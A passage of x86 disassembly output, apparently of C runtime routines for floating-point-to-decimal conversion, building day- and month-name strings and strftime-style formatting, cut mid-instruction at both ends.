al, 2 mov [ebp-14h], eax loc_439078: ; CODE XREF: .XComp0:0043906Ej mov eax, [ebp-14h] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_439080 proc near ; CODE XREF: sub_435730+36p var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = word ptr -5Ch var_58 = dword ptr -58h var_54 = byte ptr -54h var_53 = byte ptr -53h var_52 = byte ptr -52h var_51 = byte ptr -51h var_50 = byte ptr -50h var_4F = byte ptr -4Fh var_4E = byte ptr -4Eh var_4D = byte ptr -4Dh var_4C = byte ptr -4Ch var_4B = byte ptr -4Bh var_4A = byte ptr -4Ah var_49 = byte ptr -49h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_32 = dword ptr -32h var_2E = dword ptr -2Eh var_28 = byte ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = word ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = word ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 74h mov word ptr [ebp+var_64], 4D10h mov word ptr [ebp+var_3C], 4Dh mov word ptr [ebp+var_60], 9Ah mov [ebp+var_20], 134312F4h mov [ebp+var_54], 0CCh mov [ebp+var_53], 0CCh mov [ebp+var_52], 0CCh mov [ebp+var_51], 0CCh mov [ebp+var_50], 0CCh mov [ebp+var_4F], 0CCh mov [ebp+var_4E], 0CCh mov [ebp+var_4D], 0CCh mov [ebp+var_4C], 0CCh mov [ebp+var_4B], 0CCh mov [ebp+var_4A], 0FBh mov [ebp+var_49], 3Fh mov [ebp+var_58], 1 mov ax, [ebp+arg_8] mov word ptr [ebp+var_70], ax mov ecx, [ebp+arg_4] mov [ebp+var_24], ecx mov edx, [ebp+arg_0] mov [ebp+var_48], edx mov eax, [ebp+var_70] and eax, 0FFFFh and eax, 8000h mov word ptr [ebp+var_68], ax mov cx, word ptr [ebp+var_70] and cx, 7FFFh mov word ptr [ebp+var_70], cx mov edx, [ebp+var_68] and edx, 0FFFFh test edx, edx jz short loc_43911E mov eax, [ebp+arg_14] mov byte ptr [eax+2], 2Dh jmp short loc_439125 ; --------------------------------------------------------------------------- loc_43911E: ; CODE XREF: sub_439080+93j mov ecx, [ebp+arg_14] mov byte ptr [ecx+2], 20h loc_439125: ; CODE XREF: sub_439080+9Cj mov edx, [ebp+var_70] and edx, 0FFFFh test edx, edx jnz short loc_43916C cmp [ebp+var_24], 0 jnz short loc_43916C cmp [ebp+var_48], 0 jnz short loc_43916C mov eax, [ebp+arg_14] mov word ptr [eax], 0 mov ecx, [ebp+arg_14] mov byte ptr [ecx+2], 20h mov edx, [ebp+arg_14] mov byte ptr [edx+3], 1 mov eax, [ebp+arg_14] mov byte ptr [eax+4], 30h mov ecx, [ebp+arg_14] mov byte ptr [ecx+5], 0 mov eax, 1 jmp loc_439592 ; --------------------------------------------------------------------------- loc_43916C: ; CODE XREF: sub_439080+B0j ; sub_439080+B6j ... mov edx, [ebp+var_70] and edx, 0FFFFh cmp edx, 7FFFh jnz loc_439266 mov eax, [ebp+arg_14] mov word ptr [eax], 1 cmp [ebp+var_24], 80000000h jnz short loc_439198 cmp [ebp+var_48], 0 jz short loc_4391CC loc_439198: ; CODE XREF: sub_439080+110j mov ecx, [ebp+var_24] and ecx, 40000000h test ecx, ecx jnz short loc_4391CC push offset dword_43FE34 mov edx, [ebp+arg_14] add edx, 4 push edx call sub_422580 add esp, 8 mov eax, [ebp+arg_14] mov byte ptr [eax+3], 6 mov [ebp+var_58], 0 jmp loc_439261 ; --------------------------------------------------------------------------- loc_4391CC: ; CODE XREF: sub_439080+116j ; sub_439080+123j mov ecx, [ebp+var_68] and ecx, 0FFFFh test ecx, ecx jz short loc_43920C cmp [ebp+var_24], 0C0000000h jnz short loc_43920C cmp [ebp+var_48], 0 jnz short loc_43920C push offset dword_43FE2C mov edx, [ebp+arg_14] add edx, 4 push edx call sub_422580 add esp, 8 mov eax, [ebp+arg_14] mov byte ptr [eax+3], 5 mov [ebp+var_58], 0 jmp short loc_439261 ; --------------------------------------------------------------------------- loc_43920C: ; CODE XREF: sub_439080+157j ; sub_439080+160j ... cmp [ebp+var_24], 80000000h jnz short loc_43923F cmp [ebp+var_48], 0 jnz short loc_43923F push offset dword_43FE24 mov ecx, [ebp+arg_14] add ecx, 4 push ecx call sub_422580 add esp, 8 mov edx, [ebp+arg_14] mov byte ptr [edx+3], 5 mov [ebp+var_58], 0 jmp short loc_439261 ; --------------------------------------------------------------------------- loc_43923F: ; CODE XREF: sub_439080+193j ; sub_439080+199j push offset dword_43FE1C mov eax, [ebp+arg_14] add eax, 4 push eax call sub_422580 add esp, 8 mov ecx, [ebp+arg_14] mov byte ptr [ecx+3], 6 mov [ebp+var_58], 0 loc_439261: ; CODE XREF: sub_439080+147j ; sub_439080+18Aj ... jmp loc_43958F ; --------------------------------------------------------------------------- loc_439266: ; CODE XREF: sub_439080+FBj mov edx, [ebp+var_70] and edx, 0FFFFh sar edx, 8 mov word ptr [ebp+var_6C], dx mov eax, [ebp+var_70] and eax, 0FFFFh and eax, 0FFh mov [ebp+var_C], ax mov ecx, [ebp+var_24] shr ecx, 18h mov word ptr [ebp+var_40], cx mov edx, [ebp+var_64] and edx, 0FFFFh mov eax, [ebp+var_70] and eax, 0FFFFh imul edx, eax mov ecx, [ebp+var_3C] and ecx, 0FFFFh mov eax, [ebp+var_6C] and eax, 0FFFFh imul ecx, eax add edx, ecx mov ecx, [ebp+var_60] and ecx, 0FFFFh mov eax, [ebp+var_40] and eax, 0FFFFh imul ecx, eax add edx, ecx sub edx, [ebp+var_20] mov [ebp+var_8], edx mov ecx, [ebp+var_8] sar ecx, 10h mov [ebp+var_5C], cx mov dx, word ptr [ebp+var_70] mov word ptr [ebp+var_2E], dx mov eax, [ebp+var_24] mov [ebp+var_32], eax mov ecx, [ebp+var_48] mov [ebp+var_38+2], ecx mov word ptr [ebp+var_38], 0 push 1 movsx edx, [ebp+var_5C] neg edx push edx lea eax, [ebp+var_38] push eax call sub_43B690 add esp, 0Ch mov ecx, [ebp+var_2E] and ecx, 0FFFFh cmp ecx, 3FFFh jl short loc_43933D mov dx, [ebp+var_5C] add dx, 1 mov [ebp+var_5C], dx lea eax, [ebp+var_54] push eax lea ecx, [ebp+var_38] push ecx call sub_43B250 add esp, 8 loc_43933D: ; CODE XREF: sub_439080+29Fj mov edx, [ebp+arg_14] mov ax, [ebp+var_5C] mov [edx], ax mov ecx, [ebp+arg_10] and ecx, 1 test ecx, ecx jz short loc_439391 movsx edx, [ebp+var_5C] mov eax, [ebp+arg_C] add eax, edx mov [ebp+arg_C], eax cmp [ebp+arg_C], 0 jg short loc_439391 mov ecx, [ebp+arg_14] mov word ptr [ecx], 0 mov edx, [ebp+arg_14] mov byte ptr [edx+2], 20h mov eax, [ebp+arg_14] mov byte ptr [eax+3], 1 mov ecx, [ebp+arg_14] mov byte ptr [ecx+4], 30h mov edx, [ebp+arg_14] mov byte ptr [edx+5], 0 mov eax, 1 jmp loc_439592 ; --------------------------------------------------------------------------- loc_439391: ; CODE XREF: sub_439080+2CFj ; sub_439080+2E1j cmp [ebp+arg_C], 15h jle short loc_43939E mov [ebp+arg_C], 15h loc_43939E: ; CODE XREF: sub_439080+315j mov eax, [ebp+var_2E] and eax, 0FFFFh sub eax, 3FFEh mov [ebp+var_2E+2], eax mov word ptr [ebp+var_2E], 0 mov [ebp+var_44], 0 jmp short loc_4393C6 ; --------------------------------------------------------------------------- loc_4393BD: ; CODE XREF: sub_439080+358j mov ecx, [ebp+var_44] add ecx, 1 mov [ebp+var_44], ecx loc_4393C6: ; CODE XREF: sub_439080+33Bj cmp [ebp+var_44], 8 jge short loc_4393DA lea edx, [ebp+var_38] push edx call sub_4382F0 add esp, 4 jmp short loc_4393BD ; --------------------------------------------------------------------------- loc_4393DA: ; CODE XREF: sub_439080+34Aj cmp [ebp+var_2E+2], 0 jge short loc_43940C mov eax, [ebp+var_2E+2] neg eax and eax, 0FFh mov [ebp+var_74], eax jmp short loc_4393F8 ; --------------------------------------------------------------------------- loc_4393EF: ; CODE XREF: sub_439080+38Aj mov ecx, [ebp+var_74] sub ecx, 1 mov [ebp+var_74], ecx loc_4393F8: ; CODE XREF: sub_439080+36Dj cmp [ebp+var_74], 0 jle short loc_43940C lea edx, [ebp+var_38] push edx call sub_438350 add esp, 4 jmp short loc_4393EF ; --------------------------------------------------------------------------- loc_43940C: ; CODE XREF: sub_439080+35Ej ; sub_439080+37Cj mov eax, [ebp+arg_14] add eax, 4 mov [ebp+var_4], eax mov ecx, [ebp+arg_C] add ecx, 1 mov [ebp+var_10], ecx jmp short loc_439429 ; --------------------------------------------------------------------------- loc_439420: ; CODE XREF: sub_439080+413j mov edx, [ebp+var_10] sub edx, 1 mov [ebp+var_10], edx loc_439429: ; CODE XREF: sub_439080+39Ej cmp [ebp+var_10], 0 jle short loc_439495 mov eax, [ebp+var_38] mov [ebp+var_1C], eax mov ecx, [ebp-34h] mov [ebp+var_18], ecx mov edx, [ebp+var_32+2] mov [ebp+var_14], edx lea eax, [ebp+var_38] push eax call sub_4382F0 add esp, 4 lea ecx, [ebp+var_38] push ecx call sub_4382F0 add esp, 4 lea edx, [ebp+var_1C] push edx lea eax, [ebp+var_38] push eax call sub_438240 add esp, 8 lea ecx, [ebp+var_38] push ecx call sub_4382F0 add esp, 4 mov edx, [ebp+var_2E+1] and edx, 0FFh add edx, 30h mov eax, [ebp+var_4] mov [eax], dl mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx mov byte ptr [ebp+var_2E+1], 0 jmp short loc_439420 ; --------------------------------------------------------------------------- loc_439495: ; CODE XREF: sub_439080+3ADj mov edx, [ebp+var_4] sub edx, 1 mov [ebp+var_4], edx mov eax, [ebp+var_4] mov cl, [eax] mov [ebp+var_28], cl mov edx, [ebp+var_4] sub edx, 1 mov [ebp+var_4], edx movsx eax, [ebp+var_28] cmp eax, 35h jl short loc_439513 jmp short loc_4394C3 ; --------------------------------------------------------------------------- loc_4394BA: ; CODE XREF: sub_439080+45Fj mov ecx, [ebp+var_4] sub ecx, 1 mov [ebp+var_4], ecx loc_4394C3: ; CODE XREF: sub_439080+438j mov edx, [ebp+arg_14] add edx, 4 cmp [ebp+var_4], edx jb short loc_4394E1 mov eax, [ebp+var_4] movsx ecx, byte ptr [eax] cmp ecx, 39h jnz short loc_4394E1 mov edx, [ebp+var_4] mov byte ptr [edx], 30h jmp short loc_4394BA ; --------------------------------------------------------------------------- loc_4394E1: ; CODE XREF: sub_439080+44Cj ; sub_439080+457j mov eax, [ebp+arg_14] add eax, 4 cmp [ebp+var_4], eax jnb short loc_439505 mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx mov edx, [ebp+arg_14] mov ax, [edx] add ax, 1 mov ecx, [ebp+arg_14] mov [ecx], ax loc_439505: ; CODE XREF: sub_439080+46Aj mov edx, [ebp+var_4] mov al, [edx] add al, 1 mov ecx, [ebp+var_4] mov [ecx], al jmp short loc_43956C ; --------------------------------------------------------------------------- loc_439513: ; CODE XREF: sub_439080+436j jmp short loc_43951E ; --------------------------------------------------------------------------- loc_439515: ; CODE XREF: sub_439080+4B4j mov edx, [ebp+var_4] sub edx, 1 mov [ebp+var_4], edx loc_43951E: ; CODE XREF: sub_439080:loc_439513j mov eax, [ebp+arg_14] add eax, 4 cmp [ebp+var_4], eax jb short loc_439536 mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] cmp edx, 30h jnz short loc_439536 jmp short loc_439515 ; --------------------------------------------------------------------------- loc_439536: ; CODE XREF: sub_439080+4A7j ; sub_439080+4B2j mov eax, [ebp+arg_14] add eax, 4 cmp [ebp+var_4], eax jnb short loc_43956C mov ecx, [ebp+arg_14] mov word ptr [ecx], 0 mov edx, [ebp+arg_14] mov byte ptr [edx+2], 20h mov eax, [ebp+arg_14] mov byte ptr [eax+3], 1 mov ecx, [ebp+arg_14] mov byte ptr [ecx+4], 30h mov edx, [ebp+arg_14] mov byte ptr [edx+5], 0 mov eax, 1 jmp short loc_439592 ; --------------------------------------------------------------------------- loc_43956C: ; CODE XREF: sub_439080+491j ; sub_439080+4BFj mov eax, [ebp+arg_14] add eax, 4 mov ecx, [ebp+var_4] sub ecx, eax add ecx, 1 mov edx, [ebp+arg_14] mov [edx+3], cl mov eax, [ebp+arg_14] movsx ecx, byte ptr [eax+3] mov edx, [ebp+arg_14] mov byte ptr [edx+ecx+4], 0 loc_43958F: ; CODE XREF: sub_439080:loc_439261j mov eax, [ebp+var_58] loc_439592: ; CODE XREF: sub_439080+E7j ; sub_439080+30Cj ... mov esp, ebp pop ebp retn sub_439080 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp sub esp, 14h push esi mov eax, off_453318 mov [ebp-0Ch], eax mov dword ptr [ebp-8], 0 mov dword ptr [ebp-10h], 0 jmp short loc_4395C8 ; --------------------------------------------------------------------------- loc_4395BF: ; CODE XREF: .XComp0:004395FFj mov ecx, [ebp-10h] add ecx, 1 mov [ebp-10h], ecx loc_4395C8: ; CODE XREF: .XComp0:004395BDj cmp dword ptr [ebp-10h], 7 jnb short loc_439601 mov edx, [ebp-10h] mov eax, [ebp-0Ch] mov ecx, [eax+edx*4] push ecx call sub_41EBD0 add esp, 4 mov esi, eax mov edx, [ebp-10h] mov eax, [ebp-0Ch] mov ecx, [eax+edx*4+1Ch] push ecx call sub_41EBD0 add esp, 4 add eax, [ebp-8] lea edx, [eax+esi+2] mov [ebp-8], edx jmp short loc_4395BF ; --------------------------------------------------------------------------- loc_439601: ; CODE XREF: .XComp0:004395CCj mov eax, [ebp-8] add eax, 1 push eax call sub_41EDA0 add esp, 4 mov [ebp-4], eax cmp dword ptr [ebp-4], 0 jz loc_4396B9 mov ecx, [ebp-4] mov [ebp-14h], ecx mov dword ptr [ebp-10h], 0 jmp short loc_439635 ; --------------------------------------------------------------------------- loc_43962C: ; CODE XREF: .XComp0:004396A8j mov edx, [ebp-10h] add edx, 1 mov [ebp-10h], edx loc_439635: ; CODE XREF: .XComp0:0043962Aj cmp dword ptr [ebp-10h], 7 jnb short loc_4396AA mov eax, [ebp-14h] mov byte ptr [eax], 3Ah mov ecx, [ebp-14h] add ecx, 1 mov [ebp-14h], ecx mov edx, [ebp-10h] mov eax, [ebp-0Ch] mov ecx, [eax+edx*4] push ecx mov edx, [ebp-14h] push edx call sub_422580 add esp, 8 push eax call sub_41EBD0 add esp, 4 mov ecx, [ebp-14h] add ecx, eax mov [ebp-14h], ecx mov edx, [ebp-14h] mov byte ptr [edx], 3Ah mov eax, [ebp-14h] add eax, 1 mov [ebp-14h], eax mov ecx, [ebp-10h] mov edx, [ebp-0Ch] mov eax, [edx+ecx*4+1Ch] push eax mov ecx, [ebp-14h] push ecx call sub_422580 add esp, 8 push eax call sub_41EBD0 add esp, 4 mov edx, [ebp-14h] add edx, eax mov [ebp-14h], edx jmp short loc_43962C ; --------------------------------------------------------------------------- loc_4396AA: ; CODE XREF: .XComp0:00439639j mov eax, [ebp-14h] mov byte ptr [eax], 0 mov ecx, [ebp-14h] add ecx, 1 mov [ebp-14h], ecx loc_4396B9: ; CODE XREF: .XComp0:00439617j mov eax, [ebp-4] pop esi mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp sub esp, 14h push esi mov eax, off_453318 mov [ebp-0Ch], eax mov dword ptr [ebp-8], 0 mov dword ptr [ebp-10h], 0 jmp short loc_4396F8 ; --------------------------------------------------------------------------- loc_4396EF: ; CODE XREF: .XComp0:00439730j mov ecx, [ebp-10h] add ecx, 1 mov [ebp-10h], ecx loc_4396F8: ; CODE XREF: .XComp0:004396EDj cmp dword ptr [ebp-10h], 0Ch jnb short loc_439732 mov edx, [ebp-10h] mov eax, [ebp-0Ch] mov ecx, [eax+edx*4+38h] push ecx call sub_41EBD0 add esp, 4 mov esi, eax mov edx, [ebp-10h] mov eax, [ebp-0Ch] mov ecx, [eax+edx*4+68h] push ecx call sub_41EBD0 add esp, 4 add eax, [ebp-8] lea edx, [eax+esi+2] mov [ebp-8], edx jmp short loc_4396EF ; --------------------------------------------------------------------------- loc_439732: ; CODE XREF: .XComp0:004396FCj mov eax, [ebp-8] add eax, 1 push eax call sub_41EDA0 add esp, 4 mov [ebp-4], eax cmp dword ptr [ebp-4], 0 jz loc_4397EB mov ecx, [ebp-4] mov [ebp-14h], ecx mov dword ptr [ebp-10h], 0 jmp short loc_439766 ; --------------------------------------------------------------------------- loc_43975D: ; CODE XREF: .XComp0:004397DAj mov edx, [ebp-10h] add edx, 1 mov [ebp-10h], edx loc_439766: ; CODE XREF: .XComp0:0043975Bj cmp dword ptr [ebp-10h], 0Ch jnb short loc_4397DC mov eax, [ebp-14h] mov byte ptr [eax], 3Ah mov ecx, [ebp-14h] add ecx, 1 mov [ebp-14h], ecx mov edx, [ebp-10h] mov eax, [ebp-0Ch] mov ecx, [eax+edx*4+38h] push ecx mov edx, [ebp-14h] push edx call sub_422580 add esp, 8 push eax call sub_41EBD0 add esp, 4 mov ecx, [ebp-14h] add ecx, eax mov [ebp-14h], ecx mov edx, [ebp-14h] mov byte ptr [edx], 3Ah mov eax, [ebp-14h] add eax, 1 mov [ebp-14h], eax mov ecx, [ebp-10h] mov edx, [ebp-0Ch] mov eax, [edx+ecx*4+68h] push eax mov ecx, [ebp-14h] push ecx call sub_422580 add esp, 8 push eax call sub_41EBD0 add esp, 4 mov edx, [ebp-14h] add edx, eax mov [ebp-14h], edx jmp short loc_43975D ; --------------------------------------------------------------------------- loc_4397DC: ; CODE XREF: .XComp0:0043976Aj mov eax, [ebp-14h] mov byte ptr [eax], 0 mov ecx, [ebp-14h] add ecx, 1 mov [ebp-14h], ecx loc_4397EB: ; CODE XREF: .XComp0:00439748j mov eax, [ebp-4] pop esi mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp sub esp, 18h push esi mov eax, off_453318 mov [ebp-0Ch], eax mov dword ptr [ebp-8], 0 mov dword ptr [ebp-10h], 0 jmp short loc_439828 ; --------------------------------------------------------------------------- loc_43981F: ; CODE XREF: .XComp0:0043985Fj mov ecx, [ebp-10h] add ecx, 1 mov [ebp-10h], ecx loc_439828: ; CODE XREF: .XComp0:0043981Dj cmp dword ptr [ebp-10h], 7 jnb short loc_439861 mov edx, [ebp-10h] mov eax, [ebp-0Ch] mov ecx, [eax+edx*4] push ecx call sub_41EBD0 add esp, 4 mov esi, eax mov edx, [ebp-10h] mov eax, [ebp-0Ch] mov ecx, [eax+edx*4+1Ch] push ecx call sub_41EBD0 add esp, 4 add eax, [ebp-8] lea edx, [eax+esi+2] mov [ebp-8], edx jmp short loc_43981F ; --------------------------------------------------------------------------- loc_439861: ; CODE XREF: .XComp0:0043982Cj mov dword ptr [ebp-10h], 0 jmp short loc_439873 ; --------------------------------------------------------------------------- loc_43986A: ; CODE XREF: .XComp0:004398ABj mov eax, [ebp-10h] add eax, 1 mov [ebp-10h], eax loc_439873: ; CODE XREF: .XComp0:00439868j cmp dword ptr [ebp-10h], 0Ch jnb short loc_4398AD mov ecx, [ebp-10h] mov edx, [ebp-0Ch] mov eax, [edx+ecx*4+38h] push eax call sub_41EBD0 add esp, 4 mov esi, eax mov ecx, [ebp-10h] mov edx, [ebp-0Ch] mov eax, [edx+ecx*4+68h] push eax call sub_41EBD0 add esp, 4 add eax, [ebp-8] lea ecx, [eax+esi+2] mov [ebp-8], ecx jmp short loc_43986A ; --------------------------------------------------------------------------- loc_4398AD: ; CODE XREF: .XComp0:00439877j mov edx, [ebp-0Ch] mov eax, [edx+98h] push eax call sub_41EBD0 add esp, 4 mov esi, eax mov ecx, [ebp-0Ch] mov edx, [ecx+9Ch] push edx call sub_41EBD0 add esp, 4 add eax, [ebp-8] lea eax, [eax+esi+2] mov [ebp-8], eax mov ecx, [ebp-0Ch] mov edx, [ecx+0A0h] push edx call sub_41EBD0 add esp, 4 mov ecx, [ebp-8] lea edx, [ecx+eax+1] mov [ebp-8], edx mov eax, [ebp-0Ch] mov ecx, [eax+0A4h] push ecx call sub_41EBD0 add esp, 4 mov edx, [ebp-8] lea eax, [edx+eax+1] mov [ebp-8], eax mov ecx, [ebp-0Ch] mov edx, [ecx+0A8h] push edx call sub_41EBD0 add esp, 4 mov ecx, [ebp-8] lea edx, [ecx+eax+1] mov [ebp-8], edx mov eax, [ebp-8] add eax, 0ACh push eax call sub_41EDA0 add esp, 4 mov [ebp-4], eax cmp dword ptr [ebp-4], 0 jz loc_439B66 mov ecx, [ebp-4] mov [ebp-18h], ecx mov edx, [ebp-4] add edx, 0ACh mov [ebp-14h], edx push 0ACh mov eax, off_453318 push eax mov ecx, [ebp-4] push ecx call sub_422B50 add esp, 0Ch mov dword ptr [ebp-10h], 0 jmp short loc_43998A ; --------------------------------------------------------------------------- loc_439981: ; CODE XREF: .XComp0:004399FCj mov edx, [ebp-10h] add edx, 1 mov [ebp-10h], edx loc_43998A: ; CODE XREF: .XComp0:0043997Fj cmp dword ptr [ebp-10h], 7 jnb short loc_4399FE mov eax, [ebp-10h] mov ecx, [ebp-18h] mov edx, [ebp-14h] mov [ecx+eax*4], edx mov eax, [ebp-10h] mov ecx, [ebp-0Ch] mov edx, [ecx+eax*4] push edx mov eax, [ebp-14h] push eax call sub_422580 add esp, 8 push eax call sub_41EBD0 add esp, 4 mov ecx, [ebp-14h] lea edx, [ecx+eax+1] mov [ebp-14h], edx mov eax, [ebp-10h] mov ecx, [ebp-18h] mov edx, [ebp-14h] mov [ecx+eax*4+1Ch], edx mov eax, [ebp-10h] mov ecx, [ebp-0Ch] mov edx, [ecx+eax*4+1Ch] push edx mov eax, [ebp-14h] push eax call sub_422580 add esp, 8 push eax call sub_41EBD0 add esp, 4 mov ecx, [ebp-14h] lea edx, [ecx+eax+1] mov [ebp-14h], edx jmp short loc_439981 ; --------------------------------------------------------------------------- loc_4399FE: ; CODE XREF: .XComp0:0043998Ej mov dword ptr [ebp-10h], 0 jmp short loc_439A10 ; --------------------------------------------------------------------------- loc_439A07: ; CODE XREF: .XComp0:00439A84j mov eax, [ebp-10h] add eax, 1 mov [ebp-10h], eax loc_439A10: ; CODE XREF: .XComp0:00439A05j cmp dword ptr [ebp-10h], 0Ch jnb short loc_439A86 mov ecx, [ebp-10h] mov edx, [ebp-18h] mov eax, [ebp-14h] mov [edx+ecx*4+38h], eax mov ecx, [ebp-10h] mov edx, [ebp-0Ch] mov eax, [edx+ecx*4+38h] push eax mov ecx, [ebp-14h] push ecx call sub_422580 add esp, 8 push eax call sub_41EBD0 add esp, 4 mov edx, [ebp-14h] lea eax, [edx+eax+1] mov [ebp-14h], eax mov ecx, [ebp-10h] mov edx, [ebp-18h] mov eax, [ebp-14h] mov [edx+ecx*4+68h], eax mov ecx, [ebp-10h] mov edx, [ebp-0Ch] mov eax, [edx+ecx*4+68h] push eax mov ecx, [ebp-14h] push ecx call sub_422580 add esp, 8 push eax call sub_41EBD0 add esp, 4 mov edx, [ebp-14h] lea eax, [edx+eax+1] mov [ebp-14h], eax jmp short loc_439A07 ; --------------------------------------------------------------------------- loc_439A86: ; CODE XREF: .XComp0:00439A14j mov ecx, [ebp-18h] mov edx, [ebp-14h] mov [ecx+98h], edx mov eax, [ebp-0Ch] mov ecx, [eax+98h] push ecx mov edx, [ebp-14h] push edx call sub_422580 add esp, 8 push eax call sub_41EBD0 add esp, 4 mov ecx, [ebp-14h] lea edx, [ecx+eax+1] mov [ebp-14h], edx mov eax, [ebp-18h] mov ecx, [ebp-14h] mov [eax+9Ch], ecx mov edx, [ebp-0Ch] mov eax, [edx+9Ch] push eax mov ecx, [ebp-14h] push ecx call sub_422580 add esp, 8 push eax call sub_41EBD0 add esp, 4 mov edx, [ebp-14h] lea eax, [edx+eax+1] mov [ebp-14h], eax mov ecx, [ebp-18h] mov edx, [ebp-14h] mov [ecx+0A0h], edx mov eax, [ebp-0Ch] mov ecx, [eax+0A0h] push ecx mov edx, [ebp-14h] push edx call sub_422580 add esp, 8 push eax call sub_41EBD0 add esp, 4 mov ecx, [ebp-14h] lea edx, [ecx+eax+1] mov [ebp-14h], edx mov eax, [ebp-18h] mov ecx, [ebp-14h] mov [eax+0A4h], ecx mov edx, [ebp-0Ch] mov eax, [edx+0A4h] push eax mov ecx, [ebp-14h] push ecx call sub_422580 add esp, 8 push eax call sub_41EBD0 add esp, 4 mov edx, [ebp-14h] lea eax, [edx+eax+1] mov [ebp-14h], eax mov ecx, [ebp-18h] mov edx, [ebp-14h] mov [ecx+0A8h], edx loc_439B66: ; CODE XREF: .XComp0:00439949j mov eax, [ebp-4] pop esi mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 0 mov eax, [ebp+14h] push eax mov ecx, [ebp+10h] push ecx mov edx, [ebp+0Ch] push edx mov eax, [ebp+8] push eax call sub_439B90 add esp, 14h pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_439B90 proc near ; CODE XREF: .XComp0:00439B85p var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 14h mov eax, [ebp+arg_4] mov [ebp+var_C], eax push offset dword_4E96A8 nop call near ptr 2920A33h cmp dword_4E96A4, 0 jz short loc_439BCE push offset dword_4E96A8 nop call near ptr 2920974h push 13h call sub_425990 add esp, 4 mov [ebp+var_8], 1 jmp short loc_439BD5 ; --------------------------------------------------------------------------- loc_439BCE: ; CODE XREF: sub_439B90+1Ej mov [ebp+var_8], 0 loc_439BD5: ; CODE XREF: sub_439B90+3Cj cmp [ebp+arg_10], 0 jnz short loc_439BE6 mov ecx, off_453318 mov [ebp+var_10], ecx jmp short loc_439BEC ; --------------------------------------------------------------------------- loc_439BE6: ; CODE XREF: sub_439B90+49j mov edx, [ebp+arg_10] mov [ebp+var_10], edx loc_439BEC: ; CODE XREF: sub_439B90+54j mov eax, [ebp+var_10] mov [ebp+var_4], eax loc_439BF2: ; CODE XREF: sub_439B90:loc_439CDEj cmp [ebp+var_C], 0 jbe loc_439CE3 mov ecx, [ebp+arg_8] mov dl, [ecx] mov [ebp+var_14], dl cmp [ebp+var_14], 0 jz short loc_439C12 cmp [ebp+var_14], 25h jz short loc_439C17 jmp short loc_439C71 ; --------------------------------------------------------------------------- loc_439C12: ; CODE XREF: sub_439B90+78j jmp loc_439CE3 ; --------------------------------------------------------------------------- loc_439C17: ; CODE XREF: sub_439B90+7Ej mov eax, [ebp+arg_8] add eax, 1 mov [ebp+arg_8], eax mov dword_4E957C, 0 mov ecx, [ebp+arg_8] movsx edx, byte ptr [ecx] cmp edx, 23h jnz short loc_439C48 mov dword_4E957C, 1 mov eax, [ebp+arg_8] add eax, 1 mov [ebp+arg_8], eax loc_439C48: ; CODE XREF: sub_439B90+A3j mov ecx, [ebp+var_4] push ecx lea edx, [ebp+var_C] push edx lea eax, [ebp+arg_0] push eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] mov al, [edx] push eax call sub_439D20 add esp, 14h mov ecx, [ebp+arg_8] add ecx, 1 mov [ebp+arg_8], ecx jmp short loc_439CDE ; --------------------------------------------------------------------------- loc_439C71: ; CODE XREF: sub_439B90+80j mov edx, [ebp+arg_8] xor eax, eax mov al, [edx] mov ecx, off_4522E4 xor edx, edx mov dx, [ecx+eax*2] and edx, 8000h test edx, edx jz short loc_439CB9 cmp [ebp+var_C], 1 jbe short loc_439CB9 mov eax, [ebp+arg_0] mov ecx, [ebp+arg_8] mov dl, [ecx] mov [eax], dl mov eax, [ebp+arg_0] add eax, 1 mov [ebp+arg_0], eax mov ecx, [ebp+arg_8] add ecx, 1 mov [ebp+arg_8], ecx mov edx, [ebp+var_C] sub edx, 1 mov [ebp+var_C], edx loc_439CB9: ; CODE XREF: sub_439B90+FCj ; sub_439B90+102j mov eax, [ebp+arg_0] mov ecx, [ebp+arg_8] mov dl, [ecx] mov [eax], dl mov eax, [ebp+arg_0] add eax, 1 mov [ebp+arg_0], eax mov ecx, [ebp+arg_8] add ecx, 1 mov [ebp+arg_8], ecx mov edx, [ebp+var_C] sub edx, 1 mov [ebp+var_C], edx loc_439CDE: ; CODE XREF: sub_439B90+DFj jmp loc_439BF2 ; --------------------------------------------------------------------------- loc_439CE3: ; CODE XREF: sub_439B90+66j ; sub_439B90:loc_439C12j cmp [ebp+var_8], 0 jz short loc_439CF5 push 13h call sub_425A30 add esp, 4 jmp short loc_439D00 ; --------------------------------------------------------------------------- loc_439CF5: ; CODE XREF: sub_439B90+157j push offset dword_4E96A8 nop call near ptr 2920974h loc_439D00: ; CODE XREF: sub_439B90+163j cmp [ebp+var_C], 0 jbe short loc_439D14 mov eax, [ebp+arg_0] mov byte ptr [eax], 0 mov eax, [ebp+arg_4] sub eax, [ebp+var_C] jmp short loc_439D16 ; --------------------------------------------------------------------------- loc_439D14: ; CODE XREF: sub_439B90+174j xor eax, eax loc_439D16: ; CODE 